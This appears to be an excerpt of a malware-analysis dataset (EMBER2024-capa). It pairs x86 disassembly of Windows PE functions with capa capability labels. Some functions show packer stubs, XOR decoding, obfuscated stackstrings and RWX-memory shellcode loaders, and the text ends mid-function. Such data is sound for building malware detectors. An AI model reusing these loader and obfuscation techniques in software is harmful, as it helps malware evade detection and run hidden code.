joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4452f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
mov eax, edi
shr eax, 5
inc eax
mov edx, edi
mov dword [esp + 0xc], edi
mov ecx, edi
cmp edi, eax
jb 0x445331
mov esi, dword [ebp + 0xc]
movzx esi, byte [esi + ecx - 1]
mov ebx, edx
shl ebx, 5
add esi, ebx
mov ebx, edx
shr ebx, 2
add esi, ebx
sub ecx, eax
xor edx, esi
cmp ecx, eax
jae 0x44530f
mov dword [esp + 0xc], edx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x10]
mov ecx, dword [eax + 8]
mov eax, dword [eax]
dec ecx
and ecx, edx
mov eax, dword [eax + ecx*4]
test eax, eax
je 0x4453a4
cmp dword [eax + 0xc], edi
jne 0x44539e
test edi, edi
je 0x445355
test byte [eax + 7], 0x10
jne 0x44539e
mov esi, dword [ebp + 0xc]
mov ecx, edi
lea edx, [eax + 0x10]
cmp edi, 4
jb 0x445376
mov ebx, dword [esi]
cmp ebx, dword [edx]
jne 0x44539a
sub ecx, 4
add edx, 4
add esi, 4
cmp ecx, 4
jae 0x445362
test ecx, ecx
je 0x4453bd
mov bl, byte [edx]
cmp bl, byte [esi]
jne 0x44539a
cmp ecx, 1
jbe 0x4453bd
mov bl, byte [edx + 1]
cmp bl, byte [esi + 1]
jne 0x44539a
cmp ecx, 2
jbe 0x4453bd
mov cl, byte [edx + 2]
cmp cl, byte [esi + 2]
je 0x4453bd
mov edx, dword [esp + 0xc]
mov eax, dword [eax]
test eax, eax
jne 0x445346
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edx
push edi
push eax
push ecx
call fcn.00445220
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
mov edx, dword [edx + 0x10]
mov cl, byte [eax + 5]
movzx edx, byte [edx + 0x14]
movzx ebx, cl
not edx
and ebx, 3
test bl, dl
je 0x4453b6
pop edi
xor cl, 3
pop esi
mov byte [eax + 5], cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4453f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
add edx, edx
mov eax, edx
shr eax, 5
push ebx
push esi
inc eax
push edi
mov esi, edx
mov dword [ebp - 4], edx
mov ecx, edx
cmp edx, eax
jb 0x445431
lea ebx, [ebx]
mov edi, dword [ebp + 0xc]
movzx edi, byte [edi + ecx - 1]
mov ebx, esi
shl ebx, 5
add edi, ebx
mov ebx, esi
shr ebx, 2
add edi, ebx
sub ecx, eax
xor esi, edi
cmp ecx, eax
jae 0x445410
mov dword [ebp - 4], esi
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x10]
mov ecx, dword [eax + 8]
mov eax, dword [eax]
dec ecx
and ecx, esi
mov eax, dword [eax + ecx*4]
test eax, eax
je 0x4454a3
cmp dword [eax + 0xc], edx
jne 0x44549d
test edx, edx
je 0x445455
test byte [eax + 7], 0x10
je 0x44549d
mov edi, dword [ebp + 0xc]
mov ecx, edx
lea esi, [eax + 0x10]
cmp edx, 4
jb 0x445476
mov ebx, dword [edi]
cmp ebx, dword [esi]
jne 0x44549a
sub ecx, 4
add esi, 4
add edi, 4
cmp ecx, 4
jae 0x445462
test ecx, ecx
je 0x4454c0
mov bl, byte [esi]
cmp bl, byte [edi]
jne 0x44549a
cmp ecx, 1
jbe 0x4454c0
mov bl, byte [esi + 1]
cmp bl, byte [edi + 1]
jne 0x44549a
cmp ecx, 2
jbe 0x4454c0
mov cl, byte [esi + 2]
cmp cl, byte [edi + 2]
je 0x4454c0
mov esi, dword [ebp - 4]
mov eax, dword [eax]
test eax, eax
jne 0x445446
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edx
push eax
push ecx
call fcn.00445220
add esp, 0x10
mov byte [eax + 7], 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 8]
mov cl, byte [eax + 5]
mov esi, dword [esi + 0x10]
movzx ebx, byte [esi + 0x14]
movzx edx, cl
and edx, 3
not ebx
test bl, dl
je 0x4454b9
pop edi
xor cl, 3
pop esi
mov byte [eax + 5], cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x445c20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
mov esi, dword [eax*4 + 0x496720]
mov edi, esi
mov dword [esp + 0xc], esi
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x445c48
sub edi, ecx
mov eax, edi
shr eax, 5
inc eax
mov ebx, edi
mov dword [esp + 0x14], edi
mov ecx, edi
cmp edi, eax
jb 0x445c86
movzx edx, byte [esi + ecx - 1]
mov esi, ebx
shl esi, 5
add edx, esi
mov esi, ebx
shr esi, 2
add edx, esi
mov esi, dword [esp + 0xc]
sub ecx, eax
xor ebx, edx
cmp ecx, eax
jae 0x445c63
mov dword [esp + 0x14], ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x10]
mov ecx, dword [eax + 8]
mov edx, dword [eax]
dec ecx
and ecx, ebx
mov edx, dword [edx + ecx*4]
test edx, edx
je 0x445d12
jmp 0x445ca0
cmp dword [edx + 0xc], edi
jne 0x445d0c
test edi, edi
je 0x445caf
test byte [edx + 7], 0x10
jne 0x445d0c
mov eax, edi
lea ecx, [edx + 0x10]
cmp edi, 4
jb 0x445cd4
lea esp, [esp]
mov ebx, dword [esi]
cmp ebx, dword [ecx]
jne 0x445d04
sub eax, 4
add ecx, 4
add esi, 4
cmp eax, 4
jae 0x445cc0
test eax, eax
je 0x445d83
mov bl, byte [ecx]
cmp bl, byte [esi]
jne 0x445d04
cmp eax, 1
jbe 0x445d83
mov bl, byte [ecx + 1]
cmp bl, byte [esi + 1]
jne 0x445d04
cmp eax, 2
jbe 0x445d83
mov al, byte [ecx + 2]
cmp al, byte [esi + 2]
je 0x445d83
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0xc]
mov edx, dword [edx]
test edx, edx
jne 0x445ca0
mov edx, dword [ebp + 8]
push ebx
push edi
push esi
push edx
call fcn.00445220
add esp, 0x10
mov ecx, dword [esp + 0x10]
or byte [eax + 5], 0x20
lea edx, [ecx + 1]
inc ecx
mov byte [eax + 6], dl
mov dword [esp + 0x10], ecx
cmp ecx, 0x20
jl 0x445c34
mov ecx, dword [0x496820]
test ecx, ecx
je 0x445d7c
mov esi, 0x496820
mov bl, 0x2e
mov edi, edi
mov eax, ecx
add esi, 4
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x445d58
sub eax, edi
push eax
mov eax, dword [ebp + 8]
push ecx
push eax
call fcn.004452f0
or byte [eax + 5], 0x20
mov byte [eax + 6], bl
mov ecx, dword [esi]
add esp, 0xc
test ecx, ecx
jne 0x445d50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 8]
mov al, byte [edx + 5]
mov esi, dword [esi + 0x10]
movzx ebx, byte [esi + 0x14]
movzx ecx, al
and ecx, 3
not ebx
test bl, cl
je 0x445da1
xor al, 3
mov byte [edx + 5], al
mov eax, edx
jmp 0x445d21
Function at 0x45ad90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x4ad9fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x41c], ecx
lea ecx, [ebp - 0x40c]
push edi
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0x414], 0
mov edi, 0x400
jmp 0x45ade6
mov eax, dword [ebp - 0x410]
lea edx, [ebp - 0x40c]
sub ecx, edx
mov dword [ebp - 0x424], ecx
je 0x45ae50
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0x44]
mov esi, eax
cmp edx, dword [ecx + 0x40]
jb 0x45ae08
call fcn.004358f0
mov eax, dword [ebp - 0x424]
mov ebx, dword [esi + 8]
push eax
lea ecx, [ebp - 0x40c]
push ecx
push esi
call fcn.004452f0
mov dword [ebx], eax
mov dword [ebx + 8], 4
add dword [esi + 8], 0x10
inc dword [ebp - 0x414]
lea eax, [ebp - 0x418]
add esp, 0xc
lea edx, [ebp - 0x40c]
push eax
mov dword [ebp - 0x418], edx
call fcn.00422f10
add esp, 4
mov ebx, dword [ebp + 0xc]
cmp edi, ebx
jbe 0x45ae59
mov edi, ebx
mov ecx, dword [ebp - 0x41c]
push ecx
push edi
lea edx, [ebp - 0x40c]
push 1
push edx
call fcn.0047149b
mov ecx, dword [ebp - 0x418]
add ecx, eax
add esp, 0x10
sub ebx, eax
mov dword [ebp - 0x418], ecx
mov dword [ebp + 0xc], ebx
je 0x45ae8f
cmp eax, edi
je 0x45ade0
lea eax, [ebp - 0x40c]
sub ecx, eax
mov edi, ecx
je 0x45aee9
mov eax, dword [ebp - 0x410]
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0x44]
mov esi, eax
cmp edx, dword [ecx + 0x40]
jb 0x45aeb3
call fcn.004358f0
mov ebx, dword [esi + 8]
push edi
lea eax, [ebp - 0x40c]
push eax
push esi
call fcn.004452f0
mov dword [ebx], eax
mov dword [ebx + 8], 4
add dword [esi + 8], 0x10
mov ebx, dword [ebp + 0xc]
lea ecx, [ebp - 0x40c]
add esp, 0xc
inc dword [ebp - 0x414]
mov dword [ebp - 0x418], ecx
mov eax, dword [ebp - 0x414]
mov esi, dword [ebp - 0x410]
call fcn.0041fb90
mov dword [ebp - 0x414], 1
test ebx, ebx
je 0x45af66
mov edi, dword [ebp - 0x420]
mov esi, dword [edi + 8]
mov eax, dword [esi - 8]
sub esi, 0x10
add eax, 0xfffffffd
cmp eax, 4
ja case.0x45af1f.6
jmp dword [eax*4 + 0x45af7c]
mov edx, dword [esi]
mov eax, dword [edx + 0xc]
jmp 0x45af4f
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
jmp 0x45af4f
mov eax, dword [esi]
call fcn.00433dd0
jmp 0x45af4f
call fcn.00435b20
test eax, eax
je 0x45af4d
mov ecx, dword [esi]
mov eax, dword [ecx + 0xc]
jmp 0x45af4f
xor eax, eax
test eax, eax
jne 0x45af66
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046bec1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0046bec1
mov esp, ebp
pop ebp
ret
Function at 0x45ebc0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x40]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x45ec03
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x45ebfc
mov esi, dword [eax + 0x20]
jmp 0x45ec03
test bl, bl
jns 0x45ec03
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x45ecd0
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x40]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x45ec58
mov ecx, dword [ebx]
test cl, 0x40
je 0x45ec51
mov edi, dword [eax + 0x20]
jmp 0x45ec58
test cl, cl
jns 0x45ec58
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x45ec87
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x45ec87
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.0045eb10
test eax, eax
je 0x45ecee
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x45ecaf
mov eax, dword [ebx]
test eax, 0x2000000
je 0x45ec9e
test dword [ebp - 0x10], 0x2000000
je 0x45ec9e
or dword [ebp - 0x10], eax
jmp 0x45eca9
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x45ec30
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.0045eb10
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46bec1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ad9fc]
jne 0x46becb
repz ret
jmp fcn.0047577c

Function at 0x46f050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x46f077
call fcn.0046f7db
mov dword [eax], esi
call fcn.0046f7c8
push 0x16
pop esi
mov dword [eax], esi
call fcn.0046f2ea
mov eax, esi
jmp 0x46f0cc
test dword [ebp + 0xc], 0xfffffff9
jne 0x46f05d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x46f0a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0046f7ee
pop ecx
call fcn.0046f7c8
mov eax, dword [eax]
jmp 0x46f0cc
test al, 0x10
jne 0x46f0ca
test al, 1
je 0x46f0ca
test byte [ebp + 0xc], 2
je 0x46f0ca
call fcn.0046f7db
mov dword [eax], 5
call fcn.0046f7c8
mov dword [eax], 0xd
jmp 0x46f09b
xor eax, eax
pop esi
pop ebp
ret

Function at 0x47f398
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x47f3bf
call fcn.0046f7db
mov dword [eax], esi
call fcn.0046f7c8
push 0x16
pop esi
mov dword [eax], esi
call fcn.0046f2ea
mov eax, esi
jmp 0x47f414
test dword [ebp + 0xc], 0xfffffff9
jne 0x47f3a5
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x47f3ec
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0046f7ee
pop ecx
call fcn.0046f7c8
mov eax, dword [eax]
jmp 0x47f414
test al, 0x10
jne 0x47f412
test al, 1
je 0x47f412
test byte [ebp + 0xc], 2
je 0x47f412
call fcn.0046f7db
mov dword [eax], 5
call fcn.0046f7c8
mov dword [eax], 0xd
jmp 0x47f3e3
xor eax, eax
pop esi
pop ebp
ret
Function at 0x485457
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4ad9fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00478033
and dword [ebp - 0x14], 0
cmp dword [0x4b02ec], 0
mov dword [ebp - 0x18], eax
jne 0x48550a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4855b2
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x494ba8
push ebx
call edi
test eax, eax
je 0x4855b2
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x494b98
push ebx
mov dword [0x4b02ec], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4b02f0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4b02f4], eax
call edi
push eax
call esi
mov dword [0x4b02fc], eax
test eax, eax
je 0x48550a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4b02f8], eax
mov eax, dword [0x4b02f8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x485563
cmp dword [0x4b02fc], ecx
je 0x485563
push eax
call esi
push dword [0x4b02fc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x485563
test ebx, ebx
je 0x485563
call edi
test eax, eax
je 0x48555a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x48555a
test byte [ebp - 8], 1
jne 0x485563
or dword [ebp + 0x10], 0x200000
jmp 0x485596
mov eax, dword [0x4b02f0]
cmp eax, dword [ebp - 0x18]
je 0x485596
push eax
call esi
test eax, eax
je 0x485596
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x485596
mov eax, dword [0x4b02f4]
cmp eax, dword [ebp - 0x18]
je 0x485596
push eax
call esi
test eax, eax
je 0x485596
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4b02ec]
call esi
test eax, eax
je 0x4855b2
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4855b4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046bec1
leave
ret
Function at 0x41cee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x41cf02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cf09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cef8
mov eax, 1
add ebx, ebx
jne 0x41cf1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cf10
jne 0x41cf2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf10
xor ecx, ecx
sub eax, 3
jb 0x41cf40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41cfb2
mov ebp, eax
add ebx, ebx
jne 0x41cf4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41cf58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41cf7c
inc ecx
add ebx, ebx
jne 0x41cf68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41cf5d
jne 0x41cf79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41cf9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41cf8d
jmp 0x41cefe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41cf9c
add edi, ecx
jmp 0x41cefe
pop esi
mov edi, esi
mov ecx, 0x157
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41cfba
cmp byte [edi], 0
jne 0x41cfba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41cfbf
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d02e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d0b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d100]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41cfec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d104]
or eax, eax
je 0x41d028
mov dword [ebx], eax
add ebx, 4
jmp 0x41d009
call dword [esi + 0x1d108]
popal
jmp 0x403ab4

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00431219
Function at 0x422560
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42258d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42258d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4233c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
cmp dword [esp + 0x10], esi
jbe 0x423413
push ebx
mov ebx, dword [esp + 0x14]
and ebx, 1
mov al, byte [esi + ebp]
mov ecx, 0x430260
xor al, 0x73
sub al, 0x58
push ebx
mov byte [esi + ebp], al
call fcn.004024ea
push eax
call fcn.00401dd2
mov al, byte [esi + ebp]
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [esi + ebp], al
inc esi
pop ecx
cmp esi, dword [esp + 0x14]
jb 0x4233d9
pop ebx
pop esi
pop ebp
ret

Function at 0x423416
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401fdd
push 0xc
call fcn.00406576
pop ecx
test eax, eax
je 0x42344d
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call section..bss
jmp 0x42344f
xor eax, eax
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x44c440
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x42339a
lea ecx, [ebp - 0x28]
call fcn.00401d1e
lea ecx, [ebp - 0x28]
call fcn.004040aa
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x44c440
add edx, 0x188
mov esi, 0x431040
push esi
call edx
cmp dword [ebp - 0x24], 0
jne 0x4234c4
lea ecx, [ebp - 0x1c]
call fcn.004033ef
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004065b4
leave
ret
call fcn.0040dc7b
int3
Function at 0x100023dc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100023eb
pop dword [ebp - 0x24]
mov eax, 0xac308aaa
sub eax, 0x9c3066bf
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xd0f8518f
sub dword [ebp - 0x34], 0x82a60c44
mov dword [ebp - 0x30], 0xc6cebfb
add dword [ebp - 0x30], 0x25c6604a
mov dword [ebp - 0x2c], 0x20b948fb
add dword [ebp - 0x2c], 0x2b92fb33
mov dword [ebp - 0x28], 0xb34258ca
add dword [ebp - 0x28], 0x4cbda736
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x60d5f9b1
sub dword [ebp - 0x34], 0xec63905b
mov dword [ebp - 0x30], 0xa173b92
add dword [ebp - 0x30], 0x375525e3
mov dword [ebp - 0x2c], 0x68a7ad60
add dword [ebp - 0x2c], 0xfac7bf0c
mov dword [ebp - 0x28], 0x937e27a9
add dword [ebp - 0x28], 0x6c81d857
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x5834ec99
sub eax, 0x48344c91
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x37f27
push 0
call eax
mov ecx, 0xc094e100
add ecx, 0x3f6b6c60
mov ebx, eax
mov edi, 0xb8dcbea5
sub edi, 0xa8dbc6a5
add edi, dword [ebp - 0x24]
mov edx, 0xdc86f2d1
add edx, 0x7c1ec12e
sub dword [ebp - 0x20], ebx
mov esi, dword [edi]
xor dword [ebp - 0x18], ebx
add esi, edx
add dword [ebp - 0x10], eax
mov dword [ebx], esi
mov dword [ebp - 0x1c], 0xd65895e5
add ebx, 0x891466f2
add ebx, 0x76eb9912
add edi, 4
loop 0x10002508
add eax, 0x12853
xor ebx, ebx
add ebx, eax
add eax, 0xa9c9eb94
sub eax, 0xa9c9eb8f
mov ecx, 0xad51eb46
sub ecx, 0x9d51eb46
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x40b400
Capabilities:
Encode data using xor

Disassembly:
push ebp
rcr byte [ecx - 0x74efaa75], 1
inc ebp
movsd dword es:[edi], dword [esi]
push ebx
push esi
push ebp
adc byte [ebx + 0x5653a545], cl
lea ecx, [edx - 2]
xor esi, esi
push edi
mov esp, dword [esp + ecx - 0x7b]
leave
cwde
imul esi, dword [ebx], 0xffffffd2
xor eax, dword [esi - 0x76]
adc al, 0x37
add esi, 0x6f
shr edx, 2
pop ss
mov dl, byte [edx + 0x40b918]
jb 0x40b404
lea ecx, [edx - 0x7502c8ac]
pop esp
aaa
sub al, 0x83
mov al, byte [ebx]
shl edx, 4
shr ebx, 4
or edx, ebx
xor ebx, ebx
mov dl, byte ss:[edx + 0x3ac763]
push es
push eax
salc
mov bl, byte [esi]
aaa
invalid
Function at 0x10001cf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x6b
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1d], 0x2e
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0
mov byte [0x1000700b], 0
mov byte [0x10007014], 0
mov byte [0x1000701f], 0
mov byte [0x1000702c], 0
mov byte [0x10007037], 0
mov byte [0x10007044], 0
mov byte [0x10007056], 0
mov byte [0x10007063], 0
mov byte [0x10007070], 0
mov byte [0x1000707e], 0
mov byte [0x1000708e], 0
mov byte [0x1000709a], 0
mov byte [0x100070a7], 0
mov byte [0x100070b0], 0
push 0x1000700c
push 0x1000388c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x10007071
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0x1000708f
push 0x100038c0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x10007020
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push 1
push 0
push 0
push 0x100038f8
push 0
push 0
call dword [ebp - 0x18]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x24]
push eax
call dword [ebp - 8]
mov dword [0x100070b8], eax
push 0x40
push 0x1000
push 0x1000
push 0
call dword [ebp - 0x10]
mov dword [0x100070b4], eax
push 0
push 0x100070bc
push 0x1000
mov ecx, dword [0x100070b4]
push ecx
